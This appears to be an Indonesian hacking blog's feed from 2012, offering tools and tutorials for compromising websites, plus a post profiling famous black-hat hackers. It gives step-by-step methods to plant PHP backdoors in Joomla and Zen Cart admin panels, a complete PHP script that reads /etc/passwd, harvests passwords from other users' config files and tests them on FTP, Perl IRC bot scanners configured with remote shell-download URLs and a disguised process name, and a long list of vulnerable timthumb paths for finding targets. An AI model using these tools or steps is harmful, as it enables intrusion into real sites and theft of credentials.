Blog Conficker http://blog.conficker.web.id Im Not Hacker Sun, 11 Mar 2012 06:18:27 +0000 en hourly 1 http://wordpress.org/?v=3.1.3 Upload backdoor di joomla http://blog.conficker.web.id/upload-backdoor-di-joomla.html http://blog.conficker.web.id/upload-backdoor-di-joomla.html#comments Sun, 11 Mar 2012 06:11:47 +0000 Conficker http://blog.conficker.web.id/?p=233 kembali lagi bersama saya.

karena sibuk dengan rutinitas kuliah. mungkin hari ini saya mau berbagi sedikit tentang bagiamana upload shell di cms joomla. yah judul nya terkesan jadul. tapi gak palah. mungkin di forum ini belum ada yang posting jadi saya post. yang merasa dah tau tutup mata aja :)

dsini saya coba menjelaskan dengan 2 teknik dulu yah. ntar teknik lain modi lanjutin
tanpa panjang lebar mari kita mulai.

cara pertama

1. saya harap anda sudah memiliki target joomla.

2. klik tab Extension -> Template Managerjoomla1

3. pilih salah satu template yang akan kita masukkan shell dan tekan tombol edit.joomla14. pada page template klik edit htmljoomla15. kita edit file index.php dari template yang sudah kita edit tadi, kita edit dengan injektor kita, kalo belum ada injektor nih ambil yang disini saja , yang perlu kita perhatikan yaitu dir dari template tersebut, terus di savejoomla1ternyata dir nya di /home/hajisura/public_html/desa**-***site-mal***.com/templates/rhuk_milkyway/index.php

6. cimiw langsung aja kita buka http://desa**-***site-mal***.com/templates/rhuk_milkyway/index.php privacy =))

cara kedua

1. masih tetap dalam keadaan login sebagai administrator. masuk ke tab Site -> Global Configuration -> System , lalu liat Legal Extensions 

bmp,csv,doc,epg,gif,ico,jpg,odg,odp,ods,odt,pdf,png,ppt,swf,txt,xcf,xls,BMP,CSV, DOC,EPG,GIF,ICO,JPG,ODG,ODP,ODS,ODT,PDF,PNG,PPT,SWF,TXT,XCF,XLS

berarti yang dapat di upload di media manager hanya extensi itu. mari kita tambahkan extensi php :) biar bisa upload php kemudian kita save.

2. terus kita masuk di page media manager untuk tugas terakhir yaitu upload backdoor =)) joomla1yah file yang kita upload hasilnya bisa di lihat http://localhost/images/shellkalian.php happy hacking

]]> http://blog.conficker.web.id/upload-backdoor-di-joomla.html/feed 0 Irc Bot Multi Scanner http://blog.conficker.web.id/irc-bot-multi-scanner.html http://blog.conficker.web.id/irc-bot-multi-scanner.html#comments Thu, 19 Jan 2012 07:14:33 +0000 Conficker http://blog.conficker.web.id/?p=180 ya sesusai judul nya multi scanner.

di script ini saya sudah modifikasi tak tau dari mana sumber script ini. kebetulan script ini saya dapat pada target =)) . jadi saya comot dan modifikasi.

oh iya di script ini kurang lebih ada lfi , e107 , xml , sql , osco , zencart

ni script nya

!/usr/bin/perl
################################################
use HTTP::Request;                             #
use HTTP::Request::Common;                     #
use HTTP::Request::Common qw(POST);            #
use LWP::Simple;                               #
use LWP 5.64;                                  #
use LWP::UserAgent;                            #
use Socket;                                    #
use IO::Socket;                                #
use IO::Socket::INET;                          #
use IO::Select;                                #
use MIME::Base64;                               #
################################################

#usage perl file.txt irc.planetwork.web.id

my $datetime = localtime;
my $fakeproc      = "/usr/sbin/apache2 -k start";
my $ircserver   = $ARGV[0] unless $ircserver;
my $ircport       = "6667";
my $nickname      = "a[".int(rand(100))."]";
my $ident         = "PNT";
my $channel       = "#i";
my $admin        = "Conficker";
my $fullname      = "-";

script di atas hanya sebagian :)

silahakan di download dan edit dulu yah channel dan admin nya =))

 

password nya conficker.web.id

]]> http://blog.conficker.web.id/irc-bot-multi-scanner.html/feed 1 Cpanel Finder http://blog.conficker.web.id/cpanel-finder.html http://blog.conficker.web.id/cpanel-finder.html#comments Thu, 19 Jan 2012 06:03:05 +0000 Conficker http://blog.conficker.web.id/?p=175 lagi lagi kembali lagi bersama saya =)) . nih tools buat kawan kawan yang suka scan scan :) , nih tools gunanya untuk mencari cpanel atau control panel hosting =))

nih scriptnya

<?php
echo "<html>";
echo "<title>Conficker | plaNETWORK TEAM</title><body>";

set_time_limit(0);
##################
@$passwd=fopen('/etc/passwd','r');
if (!$passwd) {
echo "[-] Error : coudn't read /etc/passwd";
exit;
}
$path_to_public=array();
$users=array();
$pathtoconf=array();
$i=0;

while(!feof($passwd)) {
$str=fgets($passwd);
if ($i>35) {
$pos=strpos($str,":");
$username=substr($str,0,$pos);
$dirz="/home/$username/public_html/";
if (($username!="")) {
if (is_readable($dirz)) {
array_push($users,$username);
array_push($path_to_public,$dirz);
}
}
}
$i++;
}
###################

#########################
echo "<br><br>";
echo "<textarea name='main_window' cols=100 rows=20>";

echo "[+] Founded ".sizeof($users)." entrys in /etc/passwd\n";
echo "[+] Founded ".sizeof($path_to_public)." readable public_html directories\n";

echo "[~] Searching for passwords in config.* files...\n\n";
foreach ($users as $user) {
$path="/home/$user/public_html/";
read_dir($path,$user);
}

echo "\n[+] Done\n";

function read_dir($path,$username) {
if ($handle = opendir($path)) {
while (false !== ($file = readdir($handle))) {
$fpath="$path$file";
if (($file!='.') and ($file!='..')) {
if (is_readable($fpath)) {
$dr="$fpath/";
if (is_dir($dr)) {
read_dir($dr,$username);
}
else {
if (($file=='config.php') or ($file=='config.inc.php') or ($file=='db.inc.php') or ($file=='connect.php') or ($file=='wp-config.php') or ($file=='var.php') or ($file=='configure.php') or ($file=='db.php') or ($file=='configuration.php') or ($file=='db_connect.php')) {
$pass=get_pass($fpath);
if ($pass!='') {
echo "[+] $fpath\n$pass\n";
ftp_check($username,$pass);
}
}
}
}
}
}
}
}

function get_pass($link) {
@$config=fopen($link,'r');
while(!feof($config)) {
$line=fgets($config);
if (strstr($line,'pass') or strstr($line,'password') or strstr($line,'passwd')) {
if (strrpos($line,'"'))
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,'"')-(strpos($line,'=')+3)));
else
$pass=substr($line,(strpos($line,'=')+3),(strrpos($line,"'")-(strpos($line,'=')+3)));
return $pass;
}
}
}

function ftp_check($login,$pass) {
@$ftp=ftp_connect('127.0.0.1');
if ($ftp) {
@$res=ftp_login($ftp,$login,$pass);
if ($res) {
echo '[FTP] '.$login.':'.$pass."  Success\n";
}
else ftp_quit($ftp);
}
}

echo "</textarea><br>";

?>
]]> http://blog.conficker.web.id/cpanel-finder.html/feed 3 Upload Backdoor Di Zencart http://blog.conficker.web.id/upload-backdoor-di-zencart.html http://blog.conficker.web.id/upload-backdoor-di-zencart.html#comments Thu, 19 Jan 2012 05:48:29 +0000 Conficker http://blog.conficker.web.id/?p=165 kembali lagi. kali ini tutorial yang saya dapat dari teman saya dotexe.

tutor ini saya ambil dari blog nya =))

 

thanks buat adit atas bahannya, kebetulan emang lagi males nyari target gw :) )
videonya gw bungkusin di youtube ;)

1. Login ke page admin .
2. masuk ke file dimana kita bisa mengedit file

http://site/path/admin/define_pages_editor.php

 

pilih plain text, dan pilih salah satu file yang mau kita edit dan masukkan script uploader ato shell kalian

<?php
echo '<b>Jundab<br><br>'.php_uname().'<br></b>';
echo '<form action="" method="post" enctype="multipart/form-data" name="uploader" id="uploader">';
echo '<input type="file" name="file" size="50"><input name="_upl" type="submit" id="_upl" value="Upload"></form>';
if( $_POST['_upl'] == "Upload" ) {
	if(@copy($_FILES['file']['tmp_name'], $_FILES['file']['name'])) { echo '<b>Upload Success !!!</b><br><br>'; }
	else { echo '<b>Upload Fail !!!</b><br><br>'; }
}
?>

masuk ke file yang kalian pilih tadi melalui index.php

index.php?main_page=$file

contoh jika kalian memilih contact_us maka masuk ke file tersebut sebagai berikut :

index.php?main_page=contact_us

Tidak semua zencart bisa di edit filenya, karna sudah diberikan perm .
Kalaupun bisa diedit, belom tentu juga bisa upload file, karna dir dari path website tersebut di .htaccess atau diberikan permission ;)

goodluck :*

]]> http://blog.conficker.web.id/upload-backdoor-di-zencart.html/feed 0 top 5 blackhat hacker!! http://blog.conficker.web.id/top-5-blackhat-hacker.html http://blog.conficker.web.id/top-5-blackhat-hacker.html#comments Fri, 06 Jan 2012 10:16:53 +0000 Conficker http://blog.conficker.web.id/?p=151 inilah dia 5 orang blackhathacker yang mengobrak abrik dunia cyber ..
mereka adalah :

 

1. JONATHAN JAMES

jonathan_james

James adalah orang amerika, saat baru umur 16 taun dia dikirm ke penjara karena kelakuannya didunia maya cuy..situs departemen pertahanan Amerika dibobol ama si James dan dia cuma bilang itu tantangan bagi dia n merupakan datu kesenangan tersendiri..wah gila juga ni orang;;

NASA juga kena keisengan dia, James nyuri software NASA ang diperkirakan seharga $1.7 juta dollar AS. sampe2 NASA dipaksa untuk mematikan server dan sistemnya!!!

karena kelakuannya juga doi gak boleh megang komputer selama 10 tahun..kasian nih orang..haha

tapi sekarang doi udah dijalan yang bener dan bikin sebuah perusahaan keamanan dibidang komputer..mantab!!
 
 
2. KEVIN MITNICK

kevin-mitnick

iNiLah legenda perhackingan yang cukup menggemparkan dunia …!!!!!!

kelakuan kevin mitnick antara lain:
* menggunakan Los Angeles bus transfer system buat ngedapetin tumpangan gatis

* Mengelabui FBI

* Hacking kedalam DEC system(Digital Equipment Corporation)

* ngedapetin administrator positon dalam satu komputer IBM biar menang judi, karena adminnya yang punya laptop IBM tersebut..haha

* Hacking Motorola, NEC, Nokia, Sun Microsystems dan Fujitsu Siemens systems

dan masih banyak lagi kelakuan doi yang luar binasa

seorang white hat hacker pun yang bernama Tsutomu Shimomura pun (ahli juga doi dan merupakan top 5 white hat hacker), di hack komputer systemnya, dan terjadilah perang luar biasa..

doi ketangkep dan kelacak oleh FBI dengan bantuan Tsutomu Shimomura yang ngelacak (tracking) lewat jaringan HP’ yang dibawa ama Mitnick saat itu..

tapi sekarang doi dah tobat n jadi seorang penulis buku, konsultan security, dan pembicara.

3. ADRIAN LAMO

adrian lamomungkin inilah hacker terganteng bagi para wanita .. hehehe :P namun siapa sangka ini orang gebobol New York Times buat nedapetin info personal dan beberapa security number n ngebobol Microsoft (busyet gak tanggung2 dah) dan akhirnya didenda $65.000 dollar US,
saat ini hacker tersebut jadi pembicara dibeberapa acara seminar!! udah insap yach .. hehehee
 
 
4. KEVIN POULSEN

04-kevin-poulsenhacker sarap ini juga dikenal dengan Dark Dante, doi ngehack database FBI (udah gila kali yachh)
selain itu doi juga ngehack seluruh lines phone station. karena emang kemahiran dia ngehack lewat phone lines.

saat ini, dia jadi senior editor di Wired News, dan berhasil mengengkap 744 penawaran sex melalui profiles Myspace..!!
 
 
5. ROBERT TAPPAN MORIS

roberttappanmorris kalian tau virus worm ??? niy orang adalah orang yang pertama kali bikin Worm, yang dinamain Morris Worm (narsis yach :P )
melalui internet doi nyebari wormnya yang mengakibatkan sekitar 6000 komputer jadi down..!!!

dia akhirnya dipenjarakan rumah selama 3 tahun dan didenda sebesar $10.500 dollars

sekarang si hacker ini kerja sebagai professor di sebuah MIT Computer Science and Artificial Intelligence Laboratory!!

HACKER LEGENDARIS
bernama KARL KOCH berasal dari hannover Jerman ang ngenamain komputernya FUCKUP (First Universal Cybernetic-Kinetic Ultra-Micro Programmer), doi melakukan beberapa keberhasilan dalam ngehack pada kurun waktu 1985-1988. doi juga seorang cocaine addict!!

dia berhasil membobol beberapa sistem militer AS dan ngehacked sebuah pusat tenaga nuklir AS pada jaman perang dingin dan hasil hack’annya dijual ke KGB (Agen Rahasia Uni Soviet)

dia ditemukan tewas pada tahun 1988, menurut info dia membakar tubuhnya sendiri, namun siapa tau, ini konspirasi tingkat tinggi antara US dan Soviet pada perang dingin!!!

http://www.beartai.com/2007/wp-content/uploads/2008/03/04-kevin-poulsen.jpgkevin-poulsen
]]> http://blog.conficker.web.id/top-5-blackhat-hacker.html/feed 1 Script Bot Scanner Timthumb & ZenCart http://blog.conficker.web.id/script-bot-scanner-timthumb-zencart.html http://blog.conficker.web.id/script-bot-scanner-timthumb-zencart.html#comments Fri, 06 Jan 2012 09:45:43 +0000 Conficker http://blog.conficker.web.id/?p=147 tanpa basi basi ok langsung saja ke script nya :) 

#!/usr/bin/perl
################################################
use HTTP::Request;                             #
use HTTP::Request::Common;                     #
use HTTP::Request::Common qw(POST);            #
use LWP::Simple;                               #
use LWP 5.53;                                  #
use LWP::UserAgent;                            #
use Socket;                                    #
use IO::Socket;                                #
use IO::Socket::INET;                          #
use IO::Select;                                #
use MIME::Base64;			                   #
################################################

my $datetime = localtime;

my $fakeproc  	= "/usr/sbin/apache3 -k start";
my $ircserver   = $ARGV[0] unless $ircserver;
my $ircport   	= "6667";
my $nickname  	= "scanner";
my $ident     	= "a";
my $channel   	= "#viruses private";
my $admin    	= "Conficker";
my $fullname  	= "[»º©º« TUMTUM »º©º«]";

my $oscologo  = "15,1(4@9OSCO15)";
my $zenlogo   = "15,1(4@9ZEN15)";
my $thumblogo = "15,1(4@9TIMTHUMB15)";

my $oscocmd   = '!osco';
my $zencmd    = '!zen';
my $thumbcmd  = '!thumb';

my $injector  = "http://webftp.ad-net.cz/skins/mobile/google.jpg";
my $botshell  = "http://webftp.ad-net.cz/skins/mobile/copy.jpg";
my $botshell2  = "http://webftp.ad-net.cz/skins/mobile/paste.jpg";
my $thumbshell = "http://blogger.com.mesco.com.vn/login.php";
my $planetwork = "http://blogger.com.mesco.com.vn/ikhy.php";


ini hanya sebagian script nya :) )
silahkan download full script nya

download

 

 

 

password nya conficker.web.id

]]> http://blog.conficker.web.id/script-bot-scanner-timthumb-zencart.html/feed 31 Bug Dork Timthumb (2012) http://blog.conficker.web.id/bug-dork-timthumb-2012.html http://blog.conficker.web.id/bug-dork-timthumb-2012.html#comments Fri, 06 Jan 2012 08:11:31 +0000 Conficker http://blog.conficker.web.id/?p=143 yerps =))
balik lagi setelah sibuk sibuk dengan aktifitas kampus kemarin. kali ini saya ingin berbagi sama sobat sobat list bug dork timthumb :) ) dijamin work =)) 

wp-content/plugins/wp-pagenavi/timthumb.php
wp-content/plugins/wp-pagenavi/inc/timthumb.php
wp-content/plugins/wp-pagenavi/functions/timthumb.php
wp-content/plugins/wp-pagenavi/scripts/timthumb.php
wp-content/themes/canvas/timthumb.php
wp-content/themes/TheStyle/timthumb.php
wp-content/plugins/wp-mobile-detector/timthumb.php
wp-content/plugins/igit-related-posts-with-thumb-images-after-posts/timthumb.php
wp-content/themes/Magnificent/timthumb.php
wp-content/themes/freshnews/timthumb.php
wp-content/themes/ElegantEstate/timthumb.php
wp-content/themes/bueno/timthumb.php
wp-content/themes/magazinum/scripts/timthumb.php
wp-content/themes/sportpress/scripts/timthumb.php
wp-content/themes/flashnews/timthumb.php
wp-content/plugins/dukapress/lib/timthumb.php
wp-content/plugins/shortcodes-ultimate/lib/timthumb.php
wp-content/plugins/islidex/js/timthumb.php
wp-content/plugins/highlighter/libs/timthumb.php
wp-content/plugins/wordpress-gallery-plugin/timthumb.php
wp-content/plugins/igit-posts-slider-widget/timthumb.php
wp-content/themes/Magnificent/scripts/timthumb.php
wp-content/themes/profitstheme_11/scripts/timthumb.php
wp-content/themes/MyProduct/scripts/timthumb.php
wp-content/themes/canvas/scripts/timthumb.php
wp-content/themes/Glow/scripts/timthumb.php
wp-content/themes/inspire/scripts/timthumb.php
wp-content/themes/overeasy/scripts/timthumb.php
wp-content/themes/Nova/scripts/timthumb.php
wp-content/themes/bueno/scripts/timthumb.php
wp-content/themes/themorningafter/scripts/timthumb.php
wp-content/themes/delegate/scripts/timthumb.php
wp-content/themes/Bold/scripts/timthumb.php
wp-content/themes/eVid/scripts/timthumb.php
wp-content/themes/Apz/scripts/timthumb.php
wp-content/themes/redcarpet/scripts/timthumb.php
wp-content/themes/irresistible/scripts/timthumb.php
wp-content/themes/OnTheGo/scripts/timthumb.php
wp-content/themes/max-3.0.0/scripts/timthumb.php
wp-content/themes/newsworld/scripts/timthumb.php
wp-content/themes/ColdStone/scripts/timthumb.php
wp-content/themes/Chameleon/scripts/timthumb.php
wp-content/themes/Polished/scripts/timthumb.php
wp-content/themes/sealight/scripts/timthumb.php
wp-content/themes/newsworld-1.0.0/scripts/timthumb.php
wp-content/themes/postcard/scripts/timthumb.php
wp-content/themes/Quadro/scripts/timthumb.php
wp-content/themes/aqua-blue/scripts/timthumb.php
wp-content/themes/wootube/scripts/timthumb.php
wp-content/themes/deep-blue/scripts/timthumb.php
wp-content/themes/flashnews/scripts/timthumb.php
wp-content/themes/sportpress/scripts/timthumb.php
wp-content/themes/coffeebreak/scripts/timthumb.php
wp-content/themes/mymag/scripts/timthumb.php
wp-content/themes/magazinum/scripts/timthumb.php
wp-content/themes/wp-creativix/scripts/timthumb.php
wp-content/themes/PureType/scripts/timthumb.php
wp-content/themes/cityguide/scripts/timthumb.php
wp-content/themes/cinch/scripts/timthumb.php
wp-content/themes/backstage/scripts/timthumb.php
wp-content/themes/profitstheme/scripts/timthumb.php
wp-content/themes/diarise/scripts/timthumb.php
wp-content/themes/ElegantEstate/scripts/timthumb.php
wp-content/themes/digitalfarm/scripts/timthumb.php
wp-content/themes/mystream/scripts/timthumb.php
wp-content/themes/object/scripts/timthumb.php
wp-content/themes/nomadic/scripts/timthumb.php
wp-content/themes/comfy-3.0.9/scripts/timthumb.php
wp-content/themes/metamorphosis/scripts/timthumb.php
wp-content/themes/retreat/scripts/timthumb.php
wp-content/themes/royalle/scripts/timthumb.php
wp-content/themes/openair/scripts/timthumb.php
wp-content/themes/thejournal/scripts/timthumb.php
wp-content/themes/PersonalPress/scripts/timthumb.php
wp-content/themes/slanted/scripts/timthumb.php
wp-content/themes/sophisticatedfolio/scripts/timthumb.php
wp-content/themes/TheStyle/scripts/timthumb.php
wp-content/themes/canvas/timthumb.php
wp-content/themes/TheSource/scripts/timthumb.php
wp-content/themes/Minimal/scripts/timthumb.php
wp-content/themes/typebased/scripts/timthumb.php
wp-content/themes/thestation/scripts/timthumb.php
wp-content/themes/bueno/timthumb.php
wp-content/themes/headlines/scripts/timthumb.php
wp-content/themes/inspire/timthumb.php
wp-content/themes/OptimizePress/timthumb.php
wp-content/themes/sealight/timthumb.php
wp-content/themes/SimplePress/timthumb.php
wp-content/themes/modularity/timthumb.php
wp-content/themes/AskIt/timthumb.php
wp-content/themes/headlines/timthumb.php
wp-content/themes/busybee/timthumb.php
wp-content/themes/diarise/timthumb.php
wp-content/themes/Glow/timthumb.php
wp-content/themes/gazette/timthumb.php
wp-content/themes/PersonalPress/timthumb.php
wp-content/themes/delicate/timthumb.php
wp-content/themes/premiumnews/timthumb.php
wp-content/themes/Nova/timthumb.php
wp-content/themes/overeasy/timthumb.php
wp-content/themes/spectrum/timthumb.php
wp-content/themes/delegate/timthumb.php
wp-content/themes/PureType/timthumb.php
wp-content/themes/skeptical/timthumb.php
wp-content/themes/TheSource/timthumb.php
wp-content/themes/typebased/timthumb.php
wp-content/themes/TheCorporation/timthumb.php
wp-content/themes/cityguide/timthumb.php
wp-content/themes/Minimal/timthumb.php
wp-content/themes/profitstheme/timthumb.php
wp-content/themes/crisp/timthumb.php
wp-content/themes/snapshot/timthumb.php
wp-content/themes/Apz/timthumb.php
wp-content/themes/ColdStone/timthumb.php
wp-content/themes/Bold/timthumb.php
wp-content/themes/13floor/timthumb.php
wp-content/themes/OnTheGo/timthumb.php
wp-content/themes/redcarpet/timthumb.php
wp-content/themes/Chameleon/timthumb.php
wp-content/themes/irresistible/timthumb.php
wp-content/themes/eVid/timthumb.php
wp-content/themes/max-3.0.0/timthumb.php
wp-content/themes/newsworld/timthumb.php
wp-content/themes/newsworld-1.0.0/timthumb.php
wp-content/themes/comfy-3.0.9/timthumb.php
wp-content/themes/eNews/timthumb.php
wp-content/themes/flashnews/timthumb.php
wp-content/themes/magazinum/timthumb.php
wp-content/themes/mymag/timthumb.php
wp-content/themes/sportpress/timthumb.php
wp-content/themes/postcard/timthumb.php
wp-content/themes/mimbopro/timthumb.php
wp-content/themes/themorningafter/timthumb.php
wp-content/themes/MyProduct/timthumb.php
wp-content/themes/cinch/timthumb.php
wp-content/themes/dailyedition/timthumb.php
wp-content/themes/coffeebreak/timthumb.php
wp-content/themes/digitalfarm/timthumb.php
wp-content/themes/ElegantEstate/timthumb.php
wp-content/themes/mystream/timthumb.php
wp-content/themes/nomadic/timthumb.php
wp-content/themes/openair/timthumb.php
wp-content/themes/LightBright/timthumb.php
wp-content/themes/wootube/timthumb.php
wp-content/themes/Quadro/timthumb.php
wp-content/themes/sophisticatedfolio/timthumb.php
wp-content/themes/slanted/timthumb.php
wp-content/themes/thejournal/timthumb.php
wp-content/themes/thestation/timthumb.php
wp-content/themes/Basic/timthumb.php
wp-content/themes/royalle/timthumb.php
wp-content/themes/eGamer/timthumb.php
wp-content/themes/metamorphosis/timthumb.php
wp-content/themes/object/timthumb.php
wp-content/themes/wp-creativix/timthumb.php
wp-content/themes/retreat/timthumb.php
wp-content/themes/profitstheme_11/timthumb.php
wp-content/themes/backstage/timthumb.php
wp-content/themes/aqua-blue/timthumb.php
wp-content/themes/deep-blue/timthumb.php
wp-content/themes/premiumnews/scripts/timthumb.php
wp-content/themes/sealight/tools/timthumb.php
wp-content/themes/SimplePress/tools/timthumb.php
wp-content/themes/wootube/tools/timthumb.php
wp-content/themes/headlines/tools/timthumb.php
wp-content/themes/typebased/tools/timthumb.php
wp-content/themes/MyProduct/tools/timthumb.php
wp-content/themes/inspire/tools/timthumb.php
wp-content/themes/OptimizePress/tools/timthumb.php
wp-content/themes/dailyedition/tools/timthumb.php
wp-content/themes/PersonalPress/tools/timthumb.php
wp-content/themes/delegate/tools/timthumb.php
wp-content/themes/coffeebreak/tools/timthumb.php
wp-content/themes/optimize/tools/timthumb.php
wp-content/themes/AskIt/tools/timthumb.php
wp-content/themes/PureType/tools/timthumb.php
wp-content/themes/eNews/tools/timthumb.php
wp-content/themes/modularity/tools/timthumb.php
wp-content/themes/snapshot/tools/timthumb.php
wp-content/themes/DeepFocus/tools/timthumb.php
wp-content/themes/eVid/tools/timthumb.php
wp-content/themes/deep-blue/tools/timthumb.php
wp-content/themes/nomadic/tools/timthumb.php
wp-content/themes/gazette/tools/timthumb.php
wp-content/themes/TheStyle/tools/timthumb.php
wp-content/themes/crisp/tools/timthumb.php
wp-content/themes/Nova/tools/timthumb.php
wp-content/themes/wp-creativix/tools/timthumb.php
wp-content/themes/diarise/tools/timthumb.php
wp-content/themes/Glow/tools/timthumb.php
wp-content/themes/themorningafter/tools/timthumb.php
wp-content/themes/OnTheGo/tools/timthumb.php
wp-content/themes/irresistible/tools/timthumb.php
wp-content/themes/Bold/tools/timthumb.php
wp-content/themes/busybee/tools/timthumb.php
wp-content/themes/Apz/tools/timthumb.php
wp-content/themes/Polished/tools/timthumb.php
wp-content/themes/postcard/tools/timthumb.php
wp-content/themes/TheCorporation/tools/timthumb.php
wp-content/themes/TheSource/tools/timthumb.php
wp-content/themes/openair/tools/timthumb.php
wp-content/themes/mymag/tools/timthumb.php
wp-content/themes/cityguide/tools/timthumb.php
wp-content/themes/object/tools/timthumb.php
wp-content/themes/Magnificent/tools/timthumb.php
wp-content/themes/13floor/tools/timthumb.php
wp-content/themes/premiumnews/tools/timthumb.php
wp-content/themes/ElegantEstate/tools/timthumb.php
wp-content/themes/sportpress/tools/timthumb.php
wp-content/themes/LightBright/tools/timthumb.php
wp-content/themes/freshnews/tools/timthumb.php
wp-content/themes/newsworld/tools/timthumb.php
wp-content/themes/delicate/tools/timthumb.php
wp-content/themes/spectrum/tools/timthumb.php
wp-content/themes/backstage/tools/timthumb.php
wp-content/themes/comfy-3.0.9/tools/timthumb.php
wp-content/themes/Minimal/tools/timthumb.php
wp-content/themes/overeasy/tools/timthumb.php
wp-content/themes/mimbopro/tools/timthumb.php
wp-content/themes/Chameleon/tools/timthumb.php
wp-content/themes/skeptical/tools/timthumb.php
wp-content/themes/ColdStone/tools/timthumb.php
wp-content/themes/profitstheme/tools/timthumb.php
wp-content/themes/profitstheme_11/tools/timthumb.php
wp-content/themes/TheProfessional/tools/timthumb.php
wp-content/themes/magazinum/tools/timthumb.php
wp-content/themes/Basic/tools/timthumb.php
wp-content/themes/flashnews/tools/timthumb.php
wp-content/themes/cinch/tools/timthumb.php
wp-content/themes/mystream/tools/timthumb.php
wp-content/themes/Widescreen/tools/timthumb.php
wp-content/themes/newsworld-1.0.0/tools/timthumb.php
wp-content/themes/redcarpet/tools/timthumb.php
wp-content/themes/eGamer/tools/timthumb.php
wp-content/themes/metamorphosis/tools/timthumb.php
wp-content/themes/Quadro/tools/timthumb.php
wp-content/themes/aqua-blue/tools/timthumb.php
wp-content/themes/bueno/tools/timthumb.php
wp-content/themes/canvas/tools/timthumb.php
wp-content/themes/skeptical/scripts/timthumb.php
wp-content/themes/max-3.0.0/tools/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/feature-slideshow/timthumb.php
wp-content/plugins/igit-related-posts-with-thumb-images-after-posts/timthumb.php
wp-content/plugins/todo-espaco-online-links-felipe/timthumb.php
wp-content/plugins/mediarss-external-gallery/timthumb.php
wp-content/plugins/rent-a-car/libs/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/extend-wordpress/helpers/timthumb/image.php
wp-content/plugins/pictmobi-widget/timthumb.php
wp-content/plugins/category-list-portfolio-page/scripts/timthumb.php
wp-content/plugins/simple-slide-show/timthumb.php
wp-content/plugins/communitypress/cp-themes/cp-default/timthumb.php
wp-content/plugins/kino-gallery/timthumb.php
wp-content/plugins/mobileposty-mobile-site-generator/timthumb.php
wp-content/plugins/thumbnails-anywhere/timthumb.php
wp-content/plugins/yd-export2email/timthumb.php
wp-content/plugins/wp-dailybooth/timthumb.php
wp-content/plugins/image-rotator-widget/timthumb.php
wp-content/plugins/dp-thumbnail/timthumb/timthumb.php
wp-content/plugins/lisl-last-image-slider/timthumb.php
wp-content/plugins/cac-featured-content/timthumb.php
wp-content/plugins/image-symlinks/timthumb.php
wp-content/plugins/add-new-default-avatar-emrikols-fork/includes/timthumb.php
wp-content/plugins/kc-related-posts-by-category/timthumb.php
wp-content/plugins/cms-pack/timthumb.php
wp-content/plugins/tim-widget/scripts/timthumb.php
wp-content/plugins/a-gallery/timthumb.php
wp-content/plugins/igit-related-posts-widget/timthumb.php
wp-content/plugins/wps3slider/scripts/timthumb.php
wp-content/plugins/category-grid-view-gallery/includes/timthumb.php
wp-content/plugins/logo-management/includes/timthumb.php
wp-content/plugins/simple-coverflow/timthumb.php
wp-content/plugins/smart-related-posts-thumbnails/timthumb.php
wp-content/plugins/wptap-news-press-themeplugin-for-iphone/include/timthumb.php
wp-content/plugins/igit-posts-slider-widget/timthumb.php
wp-content/plugins/event-espresso-free/includes/functions/timthumb.php
wp-content/plugins/fotoslide/timthumb.php
wp-content/plugins/mangapress/includes/mangapress-timthumb.php
wp-content/plugins/wp-marketplace/libs/timthumb.php
wp-content/plugins/tag-gallery/timthumb/timthumb.php
wp-content/plugins/wp-slick-slider/includes/timthumb/timthumb.php
wp-content/plugins/sliceshow-slideshow/scripts/timthumb.php
wp-content/plugins/hungred-image-fit/scripts/timthumb.php
wp-content/plugins/sharepulse/timthumb.php
wp-content/plugins/wordpress-thumbnail-slider/timthumb.php
wp-content/plugins/thethe-image-slider/timthumb.php
wp-content/plugins/mobile-smart/includes/timthumb.php
wp-content/plugins/meenews-newsletter/inc/classes/timthumb.php
wp-content/plugins/wordpress-news-ticker-plugin/timthumb.php
wp-content/plugins/wordpress-gallery-plugin/timthumb.php
wp-content/plugins/sh-slideshow/timthumb.php
wp-content/plugins/db-toolkit/libs/timthumb.php
wp-content/plugins/geotag/tools/timthumb/timthumb.php
wp-content/plugins/jquery-slider-for-featured-content/scripts/timthumb.php
wp-content/plugins/timthumb-meets-tinymce/ttplugin/timthumb.php
wp-content/plugins/verve-meta-boxes/tools/timthumb.php
wp-content/plugins/seo-image-galleries/timthumb.php
wp-content/plugins/islidex/js/timthumb.php
wp-content/plugins/featured-post-with-thumbnail/scripts/timthumb.php
wp-content/plugins/wp-featured-post-with-thumbnail/scripts/timthumb.php
wp-content/plugins/wp-thumbie/timthumb.php;;18755
wp-content/plugins/dukapress/lib/timthumb.php
wp-content/plugins/front-slider/scripts/timthumb.php
wp-content/plugins/shortcodes-ultimate/lib/timthumb.php
wp-content/plugins/vslider/timthumb.php
wp-content/plugins/wp-mobile-detector/timthumb.php
wp-content/plugins/yd-recent-posts-widget/timthumb/timthumb.php
wp-content/plugins/zingiri-web-shop/fws/addons/timthumb/timthumb.php
wp-content/plugins/simple-post-thumbnails/timthumb.php
wp-content/plugins/wordpress-popular-posts/scripts/timthumb.php
wp-content/themes/genoa/timthumb.php
wp-content/plugins/feature-slideshow/timthumb.php
wp-content/plugins/igit-related-posts-with-thumb-images-after-posts/timthumb.php
wp-content/plugins/mediarss-external-gallery/timthumb.php
wp-content/plugins/rent-a-car/libs/timthumb.php
wp-content/plugins/vk-gallery/lib/timthumb.php
wp-content/plugins/extend-wordpress/helpers/timthumb/image.php
wp-content/plugins/pictmobi-widget/timthumb.php
wp-content/plugins/category-list-portfolio-page/scripts/timthumb.php
wp-content/plugins/simple-slide-show/timthumb.php
